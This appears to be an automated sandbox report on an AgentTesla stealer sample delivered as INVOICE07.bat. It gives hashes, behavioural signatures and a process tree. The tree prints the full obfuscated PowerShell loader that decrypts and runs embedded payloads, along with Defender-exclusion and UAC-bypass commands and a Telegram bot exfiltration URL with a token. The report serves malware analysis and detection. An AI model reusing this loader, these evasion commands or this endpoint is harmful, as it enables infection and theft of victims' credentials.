agenttesla | 92dabaf9d4995f7238d9f570641d227ba5a5f7199813f976bd0b4fcc0abd3435

Analysis

max time kernel
142s
max time network
113s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 16:34

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General

Target
INVOICE07.bat
Size 540KB
Sample240603-t3btcsdf78
SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
MD5 1952a79579272db52a814baf57821f90
SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

https://api.telegram.org/bot7135973864:AAGVqtrGeLysm0FYcz68sQIn3nL2a6CxjMc/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
25	4528	powershell.exe
29	4528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe
636	powershell.exe
3248	powershell.exe
2268	powershell.exe
1772	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1676	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
1676	ComputerDefaults.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	api.ipify.org
25	api.ipify.org
28	ip-api.com

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3248	powershell.exe
3248	powershell.exe
2268	powershell.exe
2268	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
4528	powershell.exe
4528	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 4336	4564	cmd.exe	84
PID 4564 wrote to memory of 4336	4564	cmd.exe	84
PID 4564 wrote to memory of 4488	4564	cmd.exe	85
PID 4564 wrote to memory of 4488	4564	cmd.exe	85
PID 4564 wrote to memory of 3248	4564	cmd.exe	86
PID 4564 wrote to memory of 3248	4564	cmd.exe	86
PID 3248 wrote to memory of 2268	3248	powershell.exe	94
PID 3248 wrote to memory of 2268	3248	powershell.exe	94
PID 3248 wrote to memory of 1420	3248	powershell.exe	96
PID 3248 wrote to memory of 1420	3248	powershell.exe	96
PID 1420 wrote to memory of 1676	1420	cmd.exe	98
PID 1420 wrote to memory of 1676	1420	cmd.exe	98
PID 1676 wrote to memory of 2304	1676	ComputerDefaults.exe	99
PID 1676 wrote to memory of 2304	1676	ComputerDefaults.exe	99
PID 2304 wrote to memory of 3944	2304	cmd.exe	101
PID 2304 wrote to memory of 3944	2304	cmd.exe	101
PID 2304 wrote to memory of 4020	2304	cmd.exe	103
PID 2304 wrote to memory of 4020	2304	cmd.exe	103
PID 2304 wrote to memory of 4528	2304	cmd.exe	104
PID 2304 wrote to memory of 4528	2304	cmd.exe	104
PID 4528 wrote to memory of 1772	4528	powershell.exe	105
PID 4528 wrote to memory of 1772	4528	powershell.exe	105
PID 4528 wrote to memory of 636	4528	powershell.exe	107
PID 4528 wrote to memory of 636	4528	powershell.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:4336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1676
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c call SC.cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2304
      - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        6⤵
        
        PID:3944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4020
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

SC.cmd

Path C:\Users\Admin\AppData\Local\Temp\SC.cmd
Size 540KB
SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
MD5 1952a79579272db52a814baf57821f90
SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_4dkgfnts.pvl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4dkgfnts.pvl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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ComputerDefaults.exe

Path C:\Windows \System32\ComputerDefaults.exe
Size 80KB
SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
MD5 d25a9e160e3b74ef2242023726f15416
SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
SSDEEP 1536:DayE7ffgaxRF71ry9vmt486MypQKURDoq4OZZZLlCIibz:Y3ganFp4NpqRD68wbz
MD5 SHA1 SHA512 SSDEEP

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MLANG.dll

Path C:\Windows \System32\MLANG.dll
Size 122KB
SHA256 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
MD5 e286ada1af4b08fa4b7c78f862883c4e
SHA1 798ebc7b7cd3db667f1a59ade299be4cff397f39
SHA512 fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5
SSDEEP 1536:Cu9CeMZcAn6rL2KHKx74nIHuFTAVFuSwtCjkT8mDMr0OgzTqsWO4dw9dluVcw:Cu9xprL2UKJ4c2TgFupkE8mDmgkAQcw
MD5 SHA1 SHA512 SSDEEP

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memory/2268-29-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/2268-19-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/2268-33-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/2268-30-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/3248-14-0x000002C300000000-0x000002C300076000-memory.dmp

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memory/3248-12-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/3248-0-0x00007FFAD9F93000-0x00007FFAD9F95000-memory.dmp

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memory/3248-17-0x00007FFAF7490000-0x00007FFAF754E000-memory.dmp

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memory/3248-16-0x00007FFAF8010000-0x00007FFAF8205000-memory.dmp

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memory/3248-15-0x000002C298D90000-0x000002C298DA0000-memory.dmp

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memory/3248-13-0x000002C2FFF10000-0x000002C2FFF54000-memory.dmp

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memory/3248-18-0x000002C299060000-0x000002C2990C6000-memory.dmp

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memory/3248-11-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/3248-71-0x00007FFAD9F90000-0x00007FFADAA51000-memory.dmp

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memory/3248-1-0x000002C2FFEE0000-0x000002C2FFF02000-memory.dmp

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memory/4528-55-0x00007FFAF8010000-0x00007FFAF8205000-memory.dmp

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memory/4528-70-0x000002B446C90000-0x000002B446CD2000-memory.dmp

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memory/4528-56-0x00007FFAF7490000-0x00007FFAF754E000-memory.dmp

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memory/4528-72-0x000002B446D70000-0x000002B446DC0000-memory.dmp

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